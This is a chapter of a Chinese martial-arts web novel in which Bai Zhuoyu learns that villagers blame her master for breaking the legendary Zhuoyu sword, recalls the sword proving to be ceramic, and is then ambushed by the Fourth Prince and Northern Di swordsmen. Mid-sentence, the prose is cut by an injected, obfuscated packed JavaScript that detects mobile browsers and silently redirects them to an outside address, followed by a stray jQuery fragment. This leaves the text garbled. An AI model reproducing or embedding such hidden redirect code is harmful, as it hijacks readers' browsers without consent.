86.濯羽剑
作品:《当上了武林盟主,但晕血》 罗婆婆双眼圆睁,怒目道:“武林盟主,凌五岳!”
猛然听见师父的名字,白濯羽一时之间僵硬在原地。
虽然在江湖上经历了很多事情,但是白濯羽自始至终从来没有忘记过自己的使命,也没有忘记过自己的师父。她知道她继任盟主,一是为了还江湖清明,二是为了接师父回家。
虽然师父是武林盟主,江湖上无人不知。但是白濯羽万万没有想到,会从看上去与江湖毫无瓜葛的罗婆婆耳朵里面听见这万分熟悉的名字,而且师父还被认为是“奸人”。
尽管内心万分震惊,但是白濯羽无法表现出任何破绽。她身居北巷,不是江湖上人尽皆知的新盟主白濯羽,只是一个籍籍无名的北方客商,名叫白三刀。
“罗婆婆,你……从哪儿得知这个人的?他做了什么事?”
罗婆婆心怀怒气,用鄙夷的语气道:“他德不配位,弄断了剑神大人的剑,让剑神大人降怒。所以北狄蛮子来祸害百姓的时候,剑神大人发怒没有降临,那么多人才都死了。要我说,三娘的死也得算在那人身上!”
白濯羽自幼跟在师父身边,知道师父使得一把好剑。他的剑都是出自夜印门最好的铸剑弟子手中,绝对不可能断掉。这传说都是些无稽之谈!
——等等,好像也并非是无稽之谈。
提及断剑和师父,白濯羽似乎确实想到了一些事情。
“罗婆婆,你知道那把剑叫什么名字吗!”白濯羽急切问道。她过于激动,控制不住自己的情绪。
“知道啊,叫濯羽剑。”罗婆婆理所当然道。
白濯羽后背一凉。
-
白濯羽从前在夜印门的时候,不叫白濯羽,就叫白兼兼。濯羽的名字是六岁那年师父收她为徒以后后改的。
因为“濯羽剑”是公认的天下第一神兵,师父希望他的徒儿和天下第一神兵一样锐利,无人可挡,睥睨天下。
因为濯羽剑通体雪白,没有人知道寻常的钢铁经历怎样的手段才能被锻造出雪一般的颜色。即使是淬炼了千万把刀兵的夜印门也说不出个所以然。所以武林中人都认为,那把濯羽剑是神兵天降。唯有每一代的武林盟主才能拥有。
而白濯羽的师父凌盟主,便是打败了天下所有英雄豪杰,才拿到了这把剑。
每一任濯羽剑的剑主都对这把剑爱惜至极,从不让它出鞘。因为在江湖传言之中,那把剑一旦出鞘了,便是风雷变色之际。唯有在国家危亡,天下覆灭的那一天,武林盟主才有资格使用那把剑。
传言还说,濯羽剑需要用人血来淬炼,不到万不得已危在旦夕之际,不可以使用那把剑。
因而,所有人也都认为,当那把剑出鞘之际,便是江湖变色天下肃清的日子。
在北狄入侵,八大门派不剩几人的时候,众人坚守到最后一刻,因为所有人都相信当那把剑出鞘的时候,一切就能翻盘。
八大门派的弟子前赴后继地一个个死去。但是他们临死之前嘱咐盟主,不到真正的山穷水尽之时,不要用那把剑。
“真正的山穷水尽”,指的是全武林只剩下执剑者一人。
直到门派一个一个覆灭,各位掌门一个一个被俘或被杀,活着的人或逃难或被俘,死去的人的尸体一具一具叠在护城河里——
凌盟主犹豫地抬头望向天空,看着昔日的弟子与同门一一死在自己面前,血流漂杵。
死在他面前的人不计其数,而被他保护在身后的人也不剩几个。
白濯羽是其中的一位。
传言表明,等到整个江湖只剩下武林盟主一个人的时候,那把濯羽剑才能出鞘。为了达成那预言中的“只剩”,门派中的师兄师姐们一个一个走出盟主的庇护,向着穷凶极恶的北狄人以卵击石。
而后凌盟主的身边只剩下白濯羽一人。
当时白濯羽将乱雪刀紧握在手中,远远地取了几个北狄人的性命,但仅凭手中三把刀根本无法拦住浩浩荡荡的北狄追兵。
她回头对师父道:“师父,等我死了,你是不是就能拔剑了?”
她轻轻笑了笑,将三把刀都远远地向北狄人抛去,小心翼翼地绕开已死的师兄师姐们的尸体,一步一步向前走去。她来不及想任何遗言,只觉得自己即使死了也和大家在一起。她思及此处,便决定慷慨赴死。
但此时,凌盟主一把将白濯羽拽到了他的身后。
在万分绝望之际,凌盟主终于将那把封存了百年的濯羽剑拔出剑鞘。
那把剑此前白濯羽只见过两次,一次是潜入师父房间偷偷去看,一次便是今日。那如雪一般的刀刃在刺眼的阳光下泛出微微的光晕,如同神明的恩赐。
任谁都会觉得,这是神明降世留下的东西,此时此刻,神明即将接受凡人的召唤,结束这世间的一切苦难。
然而,预想中的风雷变色和天地震颤都没有实现。
没有风雷交加,也没有六月飞雪。
只有一个路过的籍籍无名的北狄小兵向着那传说中的濯羽剑砍了一刀,通体雪白的濯羽剑瞬间断裂成两半。
而下一个瞬间,老盟主茫然地看向那把断裂的濯羽剑,再也拿不稳剑的手如筛糠一般颤抖。
他的信念在刹那之间崩塌,再也没有了任何反抗的余力,然后被包围而来的北狄兵士们俘虏。白濯羽也在同时被北狄人抓走。
在北狄铁牢中,师父不愿意提及此事,但是当情绪极度崩溃之时,还是会隐约和白濯羽透露一些他的想法。
“濯羽啊,都是我不好……我不应该拔出那把剑……
“明明我还没有到要死的关头,明明我还能再战,明明八大门派的人还没有死绝……
“一定是我贪生怕死,神明要惩罚我了吧?”
师父每天倚在牢房肮脏的角落里,愧疚的痛苦将这个永远从容自若的老人击倒。白濯羽看见,泪水在他满是尘土的脸上冲刷出沟壑。
他让白濯羽永远不要和任何人提起,是因为保护了她,濯羽剑才没有发挥出神力。他害怕自己最爱的徒儿成为全江湖的众矢之的。
师父万分愧疚,但是在无数次愧疚之时,都会对白濯羽笃定地加上最后一句。
“但是,我从不后悔保住你。”
按理来说,白濯羽应该是最愧疚的那一个。从道理上来讲,师父有了私心,想要保住自己唯一的徒儿,才导致拔剑之时没有达成“山穷水尽”的苛刻条件。似乎正是因为白濯羽活了下来,所以那把剑才断掉了。
但是白濯羽从来没有为此愧疚过。
因为在剑身断裂的那一刻,白濯羽就瞬间明白了事情的一切。
濯羽剑之所以不堪一击,是因为它自始至终就是用陶瓷做的。
它或许最早被铸就是为了装饰、为了收藏、为了好玩,但绝不是为了战争。
应该愧疚的,是那些假借神明之口,为它赋予了本不属于它意义的人。
白濯羽不该死,而濯羽剑本来就该断。
-
而此时此刻,罗婆婆提及这些事情,语气中也充满了对师父的鄙夷。
“大家都说,若不是那凌五岳贪生怕死,提前拔出了濯羽剑导致剑断了,剑神大人就不会发怒,北境也不会死那么多人。”罗婆婆摇头道,语气中带着叹息憎恶与无可奈何。
白濯羽咬了咬牙,又狠命地咬住自己的嘴唇,才强迫自己不去说出反驳的话来。她的眼神黯淡了些许,缓缓点了点头。
她知道这里的百姓们对所谓的神明信仰太深了。凭借她一个人的几句反驳,根本不可能将这些在战争中受苦受难的人们从迷信中解脱出来。
就像白濯羽被关在铁牢的时候,听说了庄静融背叛八大门派的消息,便不管三七二十一地对那传言中的庄护法万分憎恨。人在极度痛苦的时候是需要一个出口去宣泄的,没办法辨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175793|151435||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
认对错。
但她觉得与罗婆婆聊天不甚投机,她不想就着濯羽剑的话题继续往下聊了。
她正要起身离开的时候,罗婆婆却突然叫了她一声:“三刀。你今年多大岁数了呀?”
“十八,怎么了?”白濯羽问道。
“你能站起来么?”罗婆婆问道,语气中带着几分哀恸。
白濯羽本来就是要起身的,不明所以地站起身来,疑惑地看向罗婆婆。
“长这么高啊。”罗婆婆比量了一番白濯羽的头顶,眼神中闪过一丝不易察觉的悲伤。
“怎么了,婆婆?”白濯羽追问道。
“我的孙女若是还活着,应该也长这么高了。”罗婆婆别过头去,眼中闪烁着一丝泪花。
白濯羽一时之间悲怆万分。她应该想起来的,北巷有一半人是从北境逃回来的难民,另一半也有很多亲属埋骨在战场的荒野之中。
她确实不再忍心苛责他们的愚昧与迷信,因为宗教与神明确实是他们眼中唯一能为他们复仇的东西。
葬仪尚未结束,人群也没有散去。对剑神的祭祀仪典的第二部分开始,罗婆婆等人都去参加。白濯羽不信神明,也没有过去。她一个人伫立在树下,心情万分复杂。
就在此时,她感觉到脖颈处突然一凉,似是有一道微光闪过,一点尖锐的刀刃破空声音随风而近。白濯羽敏锐地侧了侧头,刀刃从她的头发丝处划过。
“殿下怎么还没有对我死心啊?”白濯羽头也不回道。
不用回头,她就能辨别出那刀刃的方向来自于四皇子。
她在心底暗笑,庄静融说四皇子早已被遣送回京,果然是在欺瞒她。
她隐约记得,昨夜她将四皇子放走,特意告诉了他自己住在北巷。她坚信,以四皇子的心性,一定不会放弃近在眼前的复仇机会。
“你住口!”四皇子震怒道,“这次我雇了高手来,一定能把你就地正法——白濯羽!你受死吧!”
白濯羽冷笑一声,用一双手指夹住他的刀刃,四皇子便无论如何也动弹不得。白濯羽轻蔑地嘲讽一声:“我还以为你这功夫有所长进,没想到只是嘴上功夫厉害。我昨天就说了,我一直等着你呢。”
“你住口!”四皇子没有办法,只能狂怒。
“不如我们两个都冷静冷静。我正好还有事情问你。”白濯羽漫不经心道,“你既然说我杀了你哥哥,那我问你,你凭什么就说云容章是你哥哥啊?你们不是十年没见面了么?如何认出来的?”
“他身上有胎记,我不会不记得!”四皇子怒道,“你闭嘴!难不成我还能冤枉你好人不成?!”
在白濯羽的印象当中,云容章并没有胎记。不过她想了想,自己似乎也只在那一夜看见过他身体的一部分,谁知道他那胎记长在哪里了。她没有多加在意。
“那我再问你啊。”白濯羽继续道,“有关于遗珠城,你了解多少?你去过遗珠城么?御戎现在身在何处?”
“闭嘴!你没资格问我这些!”四皇子怒气更加上涌,“我说过了,今天是你死期!”
“气性还挺大的。”白濯羽低声笑道,“那你雇佣的那些人呢?他们身在何处?可否让我与他们切磋切磋?”
白濯羽话音未落,她便听见身后传来刀刃的破空声。一把弯刀从天而降,白濯羽闪身躲过,另一把弯刀追击而来。
白濯羽试探性地将乱雪刀丢出,刀刃相撞,乱雪刀弹回了白濯羽的手心之中。从刀的力度来看,对方的内力并不算太弱。
但当她抬头看向那用刀者本人的时候,还是惊怔了片刻。
虽然她不认识那用刀之人,但是她太熟悉两把双弯刀了。
那是北狄人的东西。
白濯羽大惊,带着震惊与愤怒看向四皇子。但四皇子似乎完全没有觉察出哪里不对,看见白濯羽惊愕的样子,以为这次终于可以为兄长报仇,得意洋洋。